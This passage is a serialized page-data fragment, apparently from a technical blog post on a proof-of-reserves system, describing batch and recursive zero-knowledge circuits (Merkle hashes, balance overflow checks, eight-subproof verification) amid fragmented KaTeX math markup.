props":95016,"children":95018},{"className":95017},[22538],[95019],{"type":27,"value":22541},{"type":21,"tag":198,"props":95021,"children":95023},{"className":95022},[4847],[95024],{"type":21,"tag":198,"props":95025,"children":95027},{"className":95026,"style":93512},[4852],[95028],{"type":21,"tag":198,"props":95029,"children":95030},{},[],{"type":21,"tag":198,"props":95032,"children":95034},{"className":95033},[4933],[95035],{"type":27,"value":2205},{"type":21,"tag":198,"props":95037,"children":95039},{"className":95038,"style":4939},[4901],[],{"type":21,"tag":198,"props":95041,"children":95043},{"className":95042},[4822,22381],[95044],{"type":27,"value":94897},{"type":21,"tag":198,"props":95046,"children":95048},{"className":95047},[4822,22381],[95049],{"type":27,"value":11460},{"type":21,"tag":198,"props":95051,"children":95053},{"className":95052},[4822],[95054,95059],{"type":21,"tag":198,"props":95055,"children":95057},{"className":95056},[4822,22381],[95058],{"type":27,"value":84727},{"type":21,"tag":198,"props":95060,"children":95062},{"className":95061},[4837],[95063],{"type":21,"tag":198,"props":95064,"children":95066},{"className":95065},[4842,22435],[95067,95096],{"type":21,"tag":198,"props":95068,"children":95070},{"className":95069},[4847],[95071,95091],{"type":21,"tag":198,"props":95072,"children":95074},{"className":95073,"style":93481},[4852],[95075],{"type":21,"tag":198,"props":95076,"children":95077},{"style":93485},[95078,95082],{"type":21,"tag":198,"props":95079,"children":95081},{"className":95080,"style":4862},[4861],[],{"type":21,"tag":198,"props":95083,"children":95085},{"className":95084},[4867,4868,4869,4870],[95086],{"type":21,"tag":198,"props":95087,"children":95089},{"className":95088},[4822,4870],[95090],{"type":27,"value":134},{"type":21,"tag":198,"props":95092,"children":95094},{"className":95093},[22538],[95095],{"type":27,"value":22541},{"type":21,"tag":198,"props":95097,"children":95099},{"className":95098},[4847],[95100],{"type":21,"tag":198,"props":95101,"children":95103},{"className":95102,"style":93512},[4852],[95104],{"type":21,"tag":198,"props":95105,"children":95106},{},[],{"type":21,"tag":198,"props":95108,"children":95110},{"className":95109},[4933],[95111],{"type":27,"value":2205},{"type":21,"tag":198,"props":95113,"children":95115},{"className":95114},[4901],[95116],{"type":27,"value":22482},{"type":21,"tag":198,"props":95118,"children":95120},{"className":95119,"style":4939},[4901],[],{"type":21,"tag":198,"props":95122,"children":95124},{"className":95123},[4822],[95125],{"type":27,"value":10402},{"type":21,"tag":198,"props":95127,"children":95129},{"className":95128},[4933],[95130],{"type":27,"value":2205},{"type":21,"tag":198,"props":95132,"children":95134},{"className":95133,"style":4939},[4901],[],{"type":21,"tag":198,"props":95136,"children":95138},{"className":95137},[4822,22381],[95139],{"type":27,"value":94897},{"type":21,"tag":198,"props":95141,"children":95143},{"className":95142},[4822,22381],[95144],{"type":27,"value":11460},{"type":21,"tag":198,"props":95146,"children":95148},{"className":95147},[4822],[95149,95154],{"type":21,"tag":198,"props":95150,"children":95152},{"className":95151},[4822,22381],[95153],{"type":27,"value":84727},{"type":21,"tag":198,"props":95155,"children":95157},{"className":95156},[4837],[95158],{"type":21,"tag":198,"props":95159,"children":95161},{"className":95160},[4842,22435],[95162,95196],{"type":21,"tag":198,"props":95163,"children":95165},{"className":95164},[4847],[95166,95191],{"type":21,"tag":198,"props":95167,"children":95169},{"className":95168,"style":93481},[4852],[95170],{"type":21,"tag":198,"props":95171,"children":95172},{"style":93485},[95173,95177],{"type":21,"tag":198,"props":95174,"children":95176},{"className":95175,"style":4862},[4861],[],{"type":21,"tag":198,"props":95178,"children":95180},{"className":95179},[4867,4868,4869,4870],[95181],{"type":21,"tag":198,"props":95182,"children":95184},{"className":95183},[4822,4870],[95185],{"type":21,"tag":198,"props":95186,"children":95188},{"className":95187},[4822,4870],[95189],{"type":27,"value":95190},"511",{"type":21,"tag":198,"props":95192,"children":95194},{"className":95193},[22538],[95195],{"type":27,"value":22541},{"type":21,"tag":198,"props":95197,"children":95199},{"className":95198},[4847],[95200],{"type":21,"tag":198,"props":95201,"children":95203},{"className":95202,"style":93512},[4852],[95204],{"type":21,"tag":198,"props":95205,"children":95206},{},[],{"type":21,"tag":198,"props":95208,"children":95210},{"className":95209},[22532],[95211],{"type":27,"value":2109},{"type":27,"value":915},{"type":21,"tag":6137,"props":95214,"children":95215},{},[95216],{"type":27,"value":95217},"(merkle tree hash)",{"type":21,"tag":75,"props":95219,"children":95220},{},[95221,95496,95497,95502,95504,95509],{"type":21,"tag":194,"props":95222,"children":95224},{"className":95223},[4794,4795],[95225],{"type":21,"tag":198,"props":95226,"children":95228},{"className":95227},[4800],[95229],{"type":21,"tag":198,"props":95230,"children":95232},{"className":95231,"ariaHidden":4806},[4805],[95233,95426],{"type":21,"tag":198,"props":95234,"children":95236},{"className":95235},[4811],[95237,95241,95246,95251,95256,95261,95266,95271,95276,95281,95286,95291,95296,95301,95306,95311,95368,95373,95378,95383,95388,95393,95398,95403,95408,95413,95417,95422],{"type":21,"tag":198,"props":95238,"children":95240},{"className":95239,"style":93371},[4816],[],{"type":21,"tag":198,"props":95242,"children":95244},{"className":95243},[4822,22381],[95245],{"type":27,"value":34},{"type":21,"tag":198,"props":95247,"children":95249},{"className":95248},[4822,22381],[95250],{"type":27,"value":93886},{"type":21,"tag":198,"props":95252,"children":95254},{"className":95253},[4822,22381],[95255],{"type":27,"value":93688},{"type":21,"tag":198,"props":95257,"children":95259},{"className":95258},[4822,22381],[95260],{"type":27,"value":56780},{"type":21,"tag":198,"props":95262,"children":95264},{"className":95263},[4822,22381],[95265],{"type":27,"value":22523},{"type":21,"tag":198,"props":95267,"children":95269},{"className":95268,"style":93429},[4822],[95270],{"type":27,"value":3891},{"type":21,"tag":198,"props":95272,"children":95274},{"className":95273},[4822,22381],[95275],{"type":27,"value":34},{"type":21,"tag":198,"props":95277,"children":95279},{"className":95278},[4822,22381],[95280],{"type":27,"value":93420},{"type":21,"tag":198,"props":95282,"children":95284},{"className":95283},[4822,22381],[95285],{"type":27,"value":22523},{"type":21,"tag":198,"props":95287,"children":95289},{"className":95288,"style":93429},[4822],[95290],{"type":27,"value":3891},{"type":21,"tag":198,"props":95292,"children":95294},{"className":95293},[4822,22381],[95295],{"type":27,"value":93437},{"type":21,"tag":198,"props":95297,"children":95299},{"className":95298,"style":93441},[4822,22381],[95300],{"type":27,"value":93444},{"type":21,"tag":198,"props":95302,"children":95304},{"className":95303},[4822,22381],[95305],{"type":27,"value":93450},{"type":21,"tag":198,"props":95307,"children":95309},{"className":95308},[4822,22381],[95310],{"type":27,"value":93456},{"type":21,"tag":198,"props":95312,"children":95314},{"className":95313},[4822],[95315,95320],{"type":21,"tag":198,"props":95316,"children":95318},{"className":95317},[4822,22381],[95319],{"type":27,"value":11460},{"type":21,"tag":198,"props":95321,"children":95323},{"className":95322},[4837],[95324],{"type":21,"tag":198,"props":95325,"children":95327},{"className":95326},[4842,22435],[95328,95357],{"type":21,"tag":198,"props":95329,"children":95331},{"className":95330},[4847],[95332,95352],{"type":21,"tag":198,"props":95333,"children":95335},{"className":95334,"style":93958},[4852],[95336],{"type":21,"tag":198,"props":95337,"children":95338},{"style":93485},[95339,95343],{"type":21,"tag":198,"props":95340,"children":95342},{"className":95341,"style":4862},[4861],[],{"type":21,"tag":198,"props":95344,"children":95346},{"className":95345},[4867,4868,4869,4870],[95347],{"type":21,"tag":198,"props":95348,"children":95350},{"className":95349},[4822,22381,4870],[95351],{"type":27,"value":4544},{"type":21,"tag":198,"props":95353,"children":95355},{"className":95354},[22538],[95356],{"type":27,"value":22541},{"type":21,"tag":198,"props":95358,"children":95360},{"className":95359},[4847],[95361],{"type":21,"tag":198,"props":95362,"children":95364},{"className":95363,"style":93512},[4852],[95365],{"type":21,"tag":198,"props":95366,"children":95367},{},[],{"type":21,"tag":198,"props":95369,"children":95371},{"className":95370},[22510],[95372],{"type":27,"value":2051},{"type":21,"tag":198,"props":95374,"children":95376},{"className":95375},[4822,22381],[95377],{"type":27,"value":34},{"type":21,"tag":198,"props":95379,"children":95381},{"className":95380},[4822,22381],[95382],{"type":27,"value":93420},{"type":21,"tag":198,"props":95384,"children":95386},{"className":95385},[4822,22381],[95387],{"type":27,"value":22523},{"type":21,"tag":198,"props":95389,"children":95391},{"className":95390,"style":93429},[4822],[95392],{"type":27,"value":3891},{"type":21,"tag":198,"props":95394,"children":95396},{"className":95395},[4822,22381],[95397],{"type":27,"value":56780},{"type":21,"tag":198,"props":95399,"children":95401},{"className":95400},[4822,22381],[95402],{"type":27,"value":93688},{"type":21,"tag":198,"props":95404,"children":95406},{"className":95405},[4822,22381],[95407],{"type":27,"value":51509},{"type":21,"tag":198,"props":95409,"children":95411},{"className":95410},[22532],[95412],{"type":27,"value":2071},{"type":21,"tag":198,"props":95414,"children":95416},{"className":95415,"style":4998},[4901],[],{"type":21,"tag":198,"props":95418,"children":95420},{"className":95419},[5003],[95421],{"type":27,"value":3159},{"type":21,"tag":198,"props":95423,"children":95425},{"className":95424,"style":4998},[4901],[],{"type":21,"tag":198,"props":95427,"children":95429},{"className":95428},[4811],[95430,95434,95441,95446,95452,95457,95462,95467,95473,95478,95484,95490],{"type":21,"tag":198,"props":95431,"children":95433},{"className":95432,"style":93371},[4816],[],{"type":21,"tag":198,"props":95435,"children":95438},{"className":95436,"style":95437},[4822,22381],"margin-right:0.10903em;",[95439],{"type":27,"value":95440},"M",{"type":21,"tag":198,"props":95442,"children":95444},{"className":95443},[4822,22381],[95445],{"type":27,"value":77149},{"type":21,"tag":198,"props":95447,"children":95450},{"className":95448,"style":95449},[4822,22381],"margin-right:0.07847em;",[95451],{"type":27,"value":6945},{"type":21,"tag":198,"props":95453,"children":95455},{"className":95454,"style":93429},[4822],[95456],{"type":27,"value":3891},{"type":21,"tag":198,"props":95458,"children":95460},{"className":95459,"style":22840},[4822,22381],[95461],{"type":27,"value":22843},{"type":21,"tag":198,"props":95463,"children":95465},{"className":95464},[4822,22381],[95466],{"type":27,"value":77149},{"type":21,"tag":198,"props":95468,"children":95470},{"className":95469,"style":22840},[4822,22381],[95471],{"type":27,"value":95472},"FE",{"type":21,"tag":198,"props":95474,"children":95476},{"className":95475,"style":93429},[4822],[95477],{"type":27,"value":3891},{"type":21,"tag":198,"props":95479,"children":95481},{"className":95480,"style":95449},[4822,22381],[95482],{"type":27,"value":95483},"I",{"type":21,"tag":198,"props":95485,"children":95487},{"className":95486,"style":22382},[4822,22381],[95488],{"type":27,"value":95489},"NT",{"type":21,"tag":198,"props":95491,"children":95493},{"className":95492},[4822],[95494],{"type":27,"value":95495},"/512",{"type":27,"value":915},{"type":21,"tag":6137,"props":95498,"children":95499},{},[95500],{"type":27,"value":95501},"(overflow check)",{"type":27,"value":95503}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":21,"tag":194,"props":95505,"children":95507},{"className":95506},[],[95508],{"type":27,"value":93287},{"type":27,"value":2109},{"type":21,"tag":30,"props":95511,"children":95512},{},[95513],{"type":27,"value":95514},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":21,"tag":30,"props":95516,"children":95517},{},[95518],{"type":21,"tag":1376,"props":95519,"children":95521},{"alt":50954,"src":95520},"/posts/por/batch-circuit-inputs.png",[],{"type":21,"tag":59,"props":95523,"children":95525},{"id":95524},"recursive-circuit",[95526],{"type":27,"value":95527},"Recursive Circuit",{"type":21,"tag":30,"props":95529,"children":95530},{},[95531],{"type":27,"value":95532},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":21,"tag":30,"props":95534,"children":95535},{},[95536],{"type":21,"tag":6137,"props":95537,"children":95538},{},[95539],{"type":27,"value":93801},{"type":21,"tag":138,"props":95541,"children":95542},{},[95543,95547,95552],{"type":21,"tag":75,"props":95544,"children":95545},{},[95546],{"type":27,"value":93819},{"type":21,"tag":75,"props":95548,"children":95549},{},[95550],{"type":27,"value":95551},"Asset prices",{"type":21,"tag":75,"props":95553,"children":95554},{},[95555],{"type":27,"value":93814},{"type":21,"tag":30,"props":95557,"children":95558},{},[95559],{"type":21,"tag":6137,"props":95560,"children":95561},{},[95562],{"type":27,"value":93827},{"type":21,"tag":138,"props":95564,"children":95565},{},[95566],{"type":21,"tag":75,"props":95567,"children":95568},{},[95569],{"type":27,"value":95570},"8 subproofs",{"type":21,"tag":30,"props":95572,"children":95573},{},[95574],{"type":21,"tag":6137,"props":95575,"children":95576},{},[95577],{"type":27,"value":93848},{"type":21,"tag":138,"props":95579,"children":95580},{},[95581,95991,96322,96689,97076],{"type":21,"tag":75,"props":95582,"children":95583},{},[95584,95986,95987],{"type":21,"tag":194,"props":95585,"children":95587},{"className":95586},[4794,4795],[95588],{"type":21,"tag":198,"props":95589,"children":95591},{"className":95590},[4800],[95592],{"type":21,"tag":198,"props":95593,"children":95595},{"className":95594,"ariaHidden":4806},[4805],[95596,95732],{"type":21,"tag":198,"props":95597,"children":95599},{"className":95598},[4811],[95600,95604,95609,95614,95619,95624,95629,95634,95639,95644,95649,95654,95659,95664,95669,95674,95679,95684,95689,95694,95699,95704,95709,95714,95719,95723,95728],{"type":21,"tag":198,"props":95601,"children":95603},{"className":95602,"style":93371},[4816],[],{"type":21,"tag":198,"props":95605,"children":95607},{"className":95606},[4822,22381],[95608],{"type":27,"value":22523},{"type":21,"tag":198,"props":95610,"children":95612},{"className":95611},[4822,22381],[95613],{"type":27,"value":93399},{"type":21,"tag":198,"props":95615,"children":95617},{"className":95616},[4822,22381],[95618],{"type":27,"value":22523},{"type":21,"tag":198,"props":95620,"children":95622},{"className":95621},[4822,22381],[95623],{"type":27,"value":34},{"type":21,"tag":198,"props":95625,"children":95627},{"className":95626,"style":93441},[4822,22381],[95628],{"type":27,"value":93444},{"type":21,"tag":198,"props":95630,"children":95632},{"className":95631,"style":93429},[4822],[95633],{"type":27,"value":3891},{"type":21,"tag":198,"props":95635,"children":95637},{"className":95636},[4822,22381],[95638],{"type":27,"value":34},{"type":21,"tag":198,"props":95640,"children":95642},{"className":95641},[4822,22381],[95643],{"type":27,"value":93420},{"type":21,"tag":198,"props":95645,"children":95647},{"className":95646},[4822,22381],[95648],{"type":27,"value":22523},{"type":21,"tag":198,"props":95650,"children":95652},{"className":95651,"style":93429},[4822],[95653],{"type":27,"value":3891},{"type":21,"tag":198,"props":95655,"children":95657},{"className":95656},[4822,22381],[95658],{"type":27,"value":93437},{"type":21,"tag":198,"props":95660,"children":95662},{"className":95661,"style":93441},[4822,22381],[95663],{"type":27,"value":93444},{"type":21,"tag":198,"props":95665,"children":95667},{"className":95666},[4822,22381],[95668],{"type":27,"value":93450},{"type":21,"tag":198,"props":95670,"children":95672},{"className":95671},[4822,22381],[95673],{"type":27,"value":93456},{"type":21,"tag":198,"props":95675,"children":95677},{"className":95676},[22510],[95678],{"type":27,"value":2051},{"type":21,"tag":198,"props":95680,"children":95682},{"className":95681},[4822,22381],[95683],{"type":27,"value":34},{"type":21,"tag":198,"props":95685,"children":95687},{"className":95686},[4822,22381],[95688],{"type":27,"value":93420},{"type":21,"tag":198,"props":95690,"children":95692},{"className":95691},[4822,22381],[95693],{"type":27,"value":22523},{"type":21,"tag":198,"props":95695,"children":95697},{"className":95696,"style":93429},[4822],[95698],{"type":27,"value":3891},{"type":21,"tag":198,"props":95700,"children":95702},{"className":95701},[4822,22381],[95703],{"type":27,"value":56780},{"type":21,"tag":198,"props":95705,"children":95707},{"className":95706},[4822,22381],[95708],{"type":27,"value":93688},{"type":21,"tag":198,"props":95710,"children":95712},{"className":95711},[4822,22381],[95713],{"type":27,"value":51509},{"type":21,"tag":198,"props":95715,"children":95717},{"className":95716},[22532],[95718],{"type":27,"value":2071},{"type":21,"tag":198,"props":95720,"children":95722},{"className":95721,"style":4998},[4901],[],{"type":21,"tag":198,"props":95724,"children":95726},{"className":95725},[5003],[95727],{"type":27,"value":9386},{"type":21,"tag":198,"props":95729,"children":95731},{"className":95730,"style":4998},[4901],[],{"type":21,"tag":198,"props":95733,"children":95735},{"className":95734},[4811],[95736,95740,95745,95750,95755,95760,95765,95770,95776,95835,95840,95845,95850,95855,95860,95865,95870,95875,95881,95886,95891,95896,95901,95906,95911,95916,95921,95926,95931,95936,95941,95946,95951,95956,95961,95966,95971,95976,95981],{"type":21,"tag":198,"props":95737,"children":95739},{"className":95738,"style":93371},[4816],[],{"type":21,"tag":198,"props":95741,"children":95743},{"className":95742},[4822],[95744],{"type":27,"value":94019},{"type":21,"tag":198,"props":95746,"children":95748},{"className":95747},[4901],[95749],{"type":27,"value":22482},{"type":21,"tag":198,"props":95751,"children":95753},{"className":95752},[4822,22381],[95754],{"type":27,"value":11460},{"type":21,"tag":198,"props":95756,"children":95758},{"className":95757},[4822,22381],[95759],{"type":27,"value":93688},{"type":21,"tag":198,"props":95761,"children":95763},{"className":95762},[4822,22381],[95764],{"type":27,"value":4029},{"type":21,"tag":198,"props":95766,"children":95768},{"className":95767},[4822,22381],[95769],{"type":27,"value":30},{"type":21,"tag":198,"props":95771,"children":95773},{"className":95772},[4822,22381],[95774],{"type":27,"value":95775},"roo",{"type":21,"tag":198,"props":95777,"children":95779},{"className":95778},[4822],[95780,95786],{"type":21,"tag":198,"props":95781,"children":95784},{"className":95782,"style":95783},[4822,22381],"margin-right:0.10764em;",[95785],{"type":27,"value":33864},{"type":21,"tag":198,"props":95787,"children":95789},{"className":95788},[4837],[95790],{"type":21,"tag":198,"props":95791,"children":95793},{"className":95792},[4842,22435],[95794,95824],{"type":21,"tag":198,"props":95795,"children":95797},{"className":95796},[4847],[95798,95819],{"type":21,"tag":198,"props":95799,"children":95801},{"className":95800,"style":93958},[4852],[95802],{"type":21,"tag":198,"props":95803,"children":95805},{"style":95804},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95806,95810],{"type":21,"tag":198,"props":95807,"children":95809},{"className":95808,"style":4862},[4861],[],{"type":21,"tag":198,"props":95811,"children":95813},{"className":95812},[4867,4868,4869,4870],[95814],{"type":21,"tag":198,"props":95815,"children":95817},{"className":95816},[4822,22381,4870],[95818],{"type":27,"value":4544},{"type":21,"tag":198,"props":95820,"children":95822},{"className":95821},[22538],[95823],{"type":27,"value":22541},{"type":21,"tag":198,"props":95825,"children":95827},{"className":95826},[4847],[95828],{"type":21,"tag":198,"props":95829,"children":95831},{"className":95830,"style":93512},[4852],[95832],{"type":21,"tag":198,"props":95833,"children":95834},{},[],{"type":21,"tag":198,"props":95836,"children":95838},{"className":95837},[4822],[95839],{"type":27,"value":658},{"type":21,"tag":198,"props":95841,"children":95843},{"className":95842},[4822,22381],[95844],{"type":27,"value":30},{"type":21,"tag":198,"props":95846,"children":95848},{"className":95847},[4822,22381],[95849],{"type":27,"value":93688},{"type":21,"tag":198,"props":95851,"children":95853},{"className":95852},[4822,22381],[95854],{"type":27,"value":4029},{"type":21,"tag":198,"props":95856,"children":95858},{"className":95857,"style":93441},[4822,22381],[95859],{"type":27,"value":93444},{"type":21,"tag":198,"props":95861,"children":95863},{"className":95862},[4822,22381],[95864],{"type":27,"value":4544},{"type":21,"tag":198,"props":95866,"children":95868},{"className":95867},[4822,22381],[95869],{"type":27,"value":3954},{"type":21,"tag":198,"props":95871,"children":95873},{"className":95872,"style":93429},[4822],[95874],{"type":27,"value":3891},{"type":21,"tag":198,"props":95876,"children":95878},{"className":95877},[4822,22381],[95879],{"type":27,"value":95880},"in",{"type":21,"tag":198,"props":95882,"children":95884},{"className":95883},[4822,22381],[95885],{"type":27,"value":30},{"type":21,"tag":198,"props":95887,"children":95889},{"className":95888},[4822,22381],[95890],{"type":27,"value":93688},{"type":21,"tag":198,"props":95892,"children":95894},{"className":95893},[4822,22381],[95895],{"type":27,"value":22523},{"type":21,"tag":198,"props":95897,"children":95899},{"className":95898},[4822],[95900],{"type":27,"value":658},{"type":21,"tag":198,"props":95902,"children":95904},{"className":95903},[4822,22381],[95905],{"type":27,"value":34},{"type":21,"tag":198,"props":95907,"children":95909},{"className":95908},[4822,22381],[95910],{"type":27,"value":93420},{"type":21,"tag":198,"props":95912,"children":95914},{"className":95913},[4822,22381],[95915],{"type":27,"value":22523},{"type":21,"tag":198,"props":95917,"children":95919},{"className":95918,"style":93429},[4822],[95920],{"type":27,"value":3891},{"type":21,"tag":198,"props":95922,"children":95924},{"className":95923},[4822,22381],[95925],{"type":27,"value":93437},{"type":21,"tag":198,"props":95927,"children":95929},{"className":95928,"style":93441},[4822,22381],[95930],{"type":27,"value":93444},{"type":21,"tag":198,"props":95932,"children":95934},{"className":95933},[4822,22381],[95935],{"type":27,"value":93450},{"type":21,"tag":198,"props":95937,"children":95939},{"className":95938},[4822,22381],[95940],{"type":27,"value":94259},{"type":21,"tag":198,"props":95942,"children":95944},{"className":95943},[22510],[95945],{"type":27,"value":2051},{"type":21,"tag":198,"props":95947,"children":95949},{"className":95948},[4822,22381],[95950],{"type":27,"value":34},{"type":21,"tag":198,"props":95952,"children":95954},{"className":95953},[4822,22381],[95955],{"type":27,"value":93420},{"type":21,"tag":198,"props":95957,"children":95959},{"className":95958},[4822,22381],[95960],{"type":27,"value":22523},{"type":21,"tag":198,"props":95962,"children":95964},{"className":95963,"style":93429},[4822],[95965],{"type":27,"value":3891},{"type":21,"tag":198,"props":95967,"children":95969},{"className":95968},[4822,22381],[95970],{"type":27,"value":56780},{"type":21,"tag":198,"props":95972,"children":95974},{"className":95973},[4822,22381],[95975],{"type":27,"value":93688},{"type":21,"tag":198,"props":95977,"children":95979},{"className":95978},[4822,22381],[95980],{"type":27,"value":51509},{"type":21,"tag":198,"props":95982,"children":95984},{"className":95983},[22532],[95985],{"type":27,"value":2071},{"type":27,"value":915},{"type":21,"tag":6137,"props":95988,"children":95989},{},[95990],{"type":27,"value":94819},{"type":21,"tag":75,"props":95992,"children":95993},{},[95994],{"type":21,"tag":194,"props":95995,"children":95997},{"className":95996},[4794,4795],[95998],{"type":21,"tag":198,"props":95999,"children":96001},{"className":96000},[4800],[96002],{"type":21,"tag":198,"props":96003,"children":96005},{"className":96004,"ariaHidden":4806},[4805],[96006,96112],{"type":21,"tag":198,"props":96007,"children":96009},{"className":96008},[4811],[96010,96014,96019,96024,96029,96034,96039,96044,96049,96054,96059,96064,96069,96074,96079,96084,96089,96094,96099,96103,96108],{"type":21,"tag":198,"props":96011,"children":96013},{"className":96012,"style":93371},[4816],[],{"type":21,"tag":198,"props":96015,"children":96017},{"className":96016},[4822,22381],[96018],{"type":27,"value":34},{"type":21,"tag":198,"props":96020,"children":96022},{"className":96021},[4822,22381],[96023],{"type":27,"value":93420},{"type":21,"tag":198,"props":96025,"children":96027},{"className":96026},[4822,22381],[96028],{"type":27,"value":22523},{"type":21,"tag":198,"props":96030,"children":96032},{"className":96031,"style":93429},[4822],[96033],{"type":27,"value":3891},{"type":21,"tag":198,"props":96035,"children":96037},{"className":96036},[4822,22381],[96038],{"type":27,"value":30},{"type":21,"tag":198,"props":96040,"children":96042},{"className":96041,"style":93429},[4822,22381],[96043],{"type":27,"value":94248},{"type":21,"tag":198,"props":96045,"children":96047},{"className":96046},[4822,22381],[96048],{"type":27,"value":4544},{"type":21,"tag":198,"props":96050,"children":96052},{"className":96051},[4822,22381],[96053],{"type":27,"value":93456},{"type":21,"tag":198,"props":96055,"children":96057},{"className":96056},[22510],[96058],{"type":27,"value":2051},{"type":21,"tag":198,"props":96060,"children":96062},{"className":96061},[4822,22381],[96063],{"type":27,"value":34},{"type":21,"tag":198,"props":96065,"children":96067},{"className":96066},[4822,22381],[96068],{"type":27,"value":93420},{"type":21,"tag":198,"props":96070,"children":96072},{"className":96071},[4822,22381],[96073],{"type":27,"value":22523},{"type":21,"tag":198,"props":96075,"children":96077},{"className":96076,"style":93429},[4822],[96078],{"type":27,"value":3891},{"type":21,"tag":198,"props":96080,"children":96082},{"className":96081},[4822,22381],[96083],{"type":27,"value":56780},{"type":21,"tag":198,"props":96085,"children":96087},{"className":96086},[4822,22381],[96088],{"type":27,"value":93688},{"type":21,"tag":198,"props":96090,"children":96092},{"className":96091},[4822,22381],[96093],{"type":27,"value":51509},{"type":21,"tag":198,"props":96095,"children":96097},{"className":96096},[22532],[96098],{"type":27,"value":2071},{"type":21,"tag":198,"props":96100,"children":96102},{"className":96101,"style":4998},[4901],[],{"type":21,"tag":198,"props":96104,"children":96106},{"className":96105},[5003],[96107],{"type":27,"value":9386},{"type":21,"tag":198,"props":96109,"children":96111},{"className":96110,"style":4998},[4901],[],{"type":21,"tag":198,"props":96113,"children":96115},{"className":96114},[4811],[96116,96120,96125,96130,96135,96140,96145,96202,96207,96212,96217,96222,96227,96232,96237,96242,96247,96252,96257,96262,96267,96272,96277,96282,96287,96292,96297,96302,96307,96312,96317],{"type":21,"tag":198,"props":96117,"children":96119},{"className":96118,"style":93371},[4816],[],{"type":21,"tag":198,"props":96121,"children":96123},{"className":96122},[4822,22381],[96124],{"type":27,"value":11460},{"type":21,"tag":198,"props":96126,"children":96128},{"className":96127},[4822,22381],[96129],{"type":27,"value":93688},{"type":21,"tag":198,"props":96131,"children":96133},{"className":96132},[4822,22381],[96134],{"type":27,"value":4029},{"type":21,"tag":198,"props":96136,"children":96138},{"className":96137},[4822,22381],[96139],{"type":27,"value":30},{"type":21,"tag":198,"props":96141,"children":96143},{"className":96142},[4822,22381],[96144],{"type":27,"value":95775},{"type":21,"tag":198,"props":96146,"children":96148},{"className":96147},[4822],[96149,96154],{"type":21,"tag":198,"props":96150,"children":96152},{"className":96151,"style":95783},[4822,22381],[96153],{"type":27,"value":33864},{"type":21,"tag":198,"props":96155,"children":96157},{"className":96156},[4837],[96158],{"type":21,"tag":198,"props":96159,"children":96161},{"className":96160},[4842,22435],[96162,96191],{"type":21,"tag":198,"props":96163,"children":96165},{"className":96164},[4847],[96166,96186],{"type":21,"tag":198,"props":96167,"children":96169},{"className":96168,"style":93958},[4852],[96170],{"type":21,"tag":198,"props":96171,"children":96172},{"style":95804},[96173,96177],{"type":21,"tag":198,"props":96174,"children":96176},{"className":96175,"style":4862},[4861],[],{"type":21,"tag":198,"props":96178,"children":96180},{"className":96179},[4867,4868,4869,4870],[96181],{"type":21,"tag":198,"props":96182,"children":96184},{"className":96183},[4822,22381,4870],[96185],{"type":27,"value":4544},{"type":21,"tag":198,"props":96187,"children":96189},{"className":96188},[22538],[96190],{"type":27,"value":22541},{"type":21,"tag":198,"props":96192,"children":96194},{"className":96193},[4847],[96195],{"type":21,"tag":198,"props":96196,"children":96198},{"className":96197,"style":93512},[4852],[96199],{"type":21,"tag":198,"props":96200,"children":96201},{},[],{"type":21,"tag":198,"props":96203,"children":96205},{"className":96204},[4822],[96206],{"type":27,"value":658},{"type":21,"tag":198,"props":96208,"children":96210},{"className":96209},[4822,22381],[96211],{"type":27,"value":30},{"type":21,"tag":198,"props":96213,"children":96215},{"className":96214},[4822,22381],[96216],{"type":27,"value":93688},{"type":21,"tag":198,"props":96218,"children":96220},{"className":96219},[4822,22381],[96221],{"type":27,"value":4029},{"type":21,"tag":198,"props":96223,"children":96225},{"className":96224,"style":93441},[4822,22381],[96226],{"type":27,"value":93444},{"type":21,"tag":198,"props":96228,"children":96230},{"className":96229},[4822,22381],[96231],{"type":27,"value":4544},{"type":21,"tag":198,"props":96233,"children":96235},{"className":96234},[4822,22381],[96236],{"type":27,"value":3954},{"type":21,"tag":198,"props":96238,"children":96240},{"className":96239,"style":93429},[4822],[96241],{"type":27,"value":3891},{"type":21,"tag":198,"props":96243,"children":96245},{"className":96244},[4822,22381],[96246],{"type":27,"value":95880},{"type":21,"tag":198,"props":96248,"children":96250},{"className":96249},[4822,22381],[96251],{"type":27,"value":30},{"type":21,"tag":198,"props":96253,"children":96255},{"className":96254},[4822,22381],[96256],{"type":27,"value":93688},{"type":21,"tag":198,"props":96258,"children":96260},{"className":96259},[4822,22381],[96261],{"type":27,"value":22523},{"type":21,"tag":198,"props":96263,"children":96265},{"className":96264},[4822],[96266],{"type":27,"value":658},{"type":21,"tag":198,"props":96268,"children":96270},{"className":96269},[4822,22381],[96271],{"type":27,"value":34},{"type":21,"tag":198,"props":96273,"children":96275},{"className":96274},[4822,22381],[96276],{"type":27,"value":93420},{"type":21,"tag":198,"props":96278,"children":96280},{"className":96279},[4822,22381],[96281],{"type":27,"value":22523},{"type":21,"tag":198,"props":96283,"children":96285},{"className":96284,"style":93429},[4822],[96286],{"type":27,"value":3891},{"type":21,"tag":198,"props":96288,"children":96290},{"className":96289},[4822,22381],[96291],{"type":27,"value":30},{"type":21,"tag":198,"props":96293,"children":96295},{"className":96294,"style":93429},[4822,22381],[96296],{"type":27,"value":94248},{"type":21,"tag":198,"props":96298,"children":96300},{"className":96299},[4822,22381],[96301],{"type":27,"value":4544},{"type":21,"tag":198,"props":96303,"children":96305},{"className":96304},[4822,22381],[96306],{"type":27,"value":94259},{"type":21,"tag":198,"props":96308,"children":96310},{"className":96309},[22510],[96311],{"type":27,"value":2051},{"type":21,"tag":198,"props":96313,"children":96315},{"className":96314},[4822],[96316],{"type":27,"value":3482},{"type":21,"tag":198,"props":96318,"children":96320},{"className":96319},[22532],[96321],{"type":27,"value":2071},{"type":21,"tag":75,"props":96323,"children":96324},{},[96325,96683,96684],{"type":21,"tag":194,"props":96326,"children":96328},{"className":96327},[4794,4795],[96329],{"type":21,"tag":198,"props":96330,"children":96332},{"className":96331},[4800],[96333],{"type":21,"tag":198,"props":96334,"children":96336},{"className":96335,"ariaHidden":4806},[4805],[96337,96443],{"type":21,"tag":198,"props":96338,"children":96340},{"className":96339},[4811],[96341,96345,96350,96355,96360,96365,96370,96375,96380,96385,96390,96395,96400,96405,96410,96415,96420,96425,96430,96434,96439],{"type":21,"tag":198,"props":96342,"children":96344},{"className":96343,"style":93371},[4816],[],{"type":21,"tag":198,"props":96346,"children":96348},{"className":96347},[4822,22381],[96349],{"type":27,"value":34},{"t